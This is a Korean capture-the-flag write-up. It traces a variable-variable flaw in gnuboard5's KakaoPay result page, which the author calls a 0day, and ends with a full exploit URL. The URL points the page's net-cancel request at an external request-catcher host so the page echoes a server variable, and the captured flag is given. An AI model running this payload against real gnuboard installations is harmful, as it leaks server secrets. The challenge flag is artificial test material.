FROM ubuntu:20.04
ARG DEBIAN_FRONTEND=noninteractive
RUN apt-get update
RUN apt-get install -y wget curl apache2 git php-gd php-mysql php
RUN git clone https://github.com/gnuboard/gnuboard5 /tmp/gnuboard
RUN cp -r /tmp/gnuboard/* /var/www/html
RUN sed -i 's/AllowOverride None/AllowOverride All/g' /etc/apache2/apache2.conf
WORKDIR /var/www/html
RUN mkdir data
RUN chmod 777 data
RUN rm -rf index.html /tmp/gnuboard
RUN echo '$flag = "hsctf{flag_will_be_here}";' >> /var/www/html/common.php
ADD entrypoint.sh /
CMD /entrypoint.sh
깃헙에 있는 gnuboard5 repo에서 최신버전을 clone한다. flag는 common.php에 저장되는 것을 확인할 수 있다.
hint를 통해 0day라는 것을 알 수 있었고
추가적으로 공개된 힌트를 통해 payment 쪽에서 취약점이 발생한다는 것을 알 수 있었다.
payment 쪽 코드에선 file leak이나 rce 취약점이 발생하지 않았기 때문에 변수 출력 부분과 관련이 있을 것이라 생각했고
php의 가변변수 쪽을 중점적으로 확인하였다.
그리고 /shop/kakaopay/pc_pay_result.php
쪽에서 가변변수를 사용하는 것을 확인할 수 있었다.
catch (Exception $e) {
// $s = $e->getMessage() . ' (오류코드:' . $e->getCode() . ')';
//####################################
// 실패시 처리(***가맹점 개발수정***)
//####################################
//---- db 저장 실패시 등 예외처리----//
$s = $e->getMessage() . ' (오류코드:' . $e->getCode() . ')';
echo $s;
//#####################
// 망취소 API
//#####################
$netcancelResultString = ""; // 망취소 요청 API url(고정, 임의 세팅 금지)
if ($httpUtil->processHTTP($netCancel, $authMap)) {
$netcancelResultString = $httpUtil->body;
} else {
echo "Http Connect Error\n";
echo $httpUtil->errormsg;
throw new Exception("Http Connect Error");
}
echo "## 망취소 API 결과 ##";
$netcancelResultString = str_replace("<", "<", $$netcancelResultString);
$netcancelResultString = str_replace(">", ">", $$netcancelResultString);
echo "<pre>", $netcancelResultString . "</pre>";
// 취소 결과 확인
}
try catch문을 사용하는데 try 문에서 에러가 발생한 경우 netCancel 변수에 담긴 url로 요청을 보내고 해당 데이터를 읽어와서
$netcancelResultString = str_replace("<", "<", $$netcancelResultString);
$netcancelResultString = str_replace(">", ">", $$netcancelResultString);
몇가지 동작 이후에 출력을 해주는 것을 알 수 있다.
$netCancel은 우리가 컨트롤 할 수 있기 때문에 우리의 서버로 http request를 보내고 body data를 적절하게 잘 주면 echo할 때 flag를 출력시킬 수 있을 것이다.
가변 변수를 2번 사용하므로 $netcancelResultString에 처음엔 우리가 컨트롤 할 수 있는 변수명을 주고 이후에 가변변수를 사용할 때 flag값이 들어가게 하면 될 것 같다. try문에서 에러 발생은 잘못된 url을 줘서 http connect error를 트리거하면 된다.
그럼 페이로드는 아래와 같다.
http://1.230.253.91:5000/shop/kakaopay/pc_pay_result.php?authUrl=http://a.com&netCancelUrl=https://enstz4j50b3g8n6.m.pipedream.net/&authToken=flag&resultCode=0000
FLAG : hsctf{799c12711fd9d697a00ae3e6329a7979cc648d7cdae0fbb3d62f23a1f7c7f544}
잘보고갑니당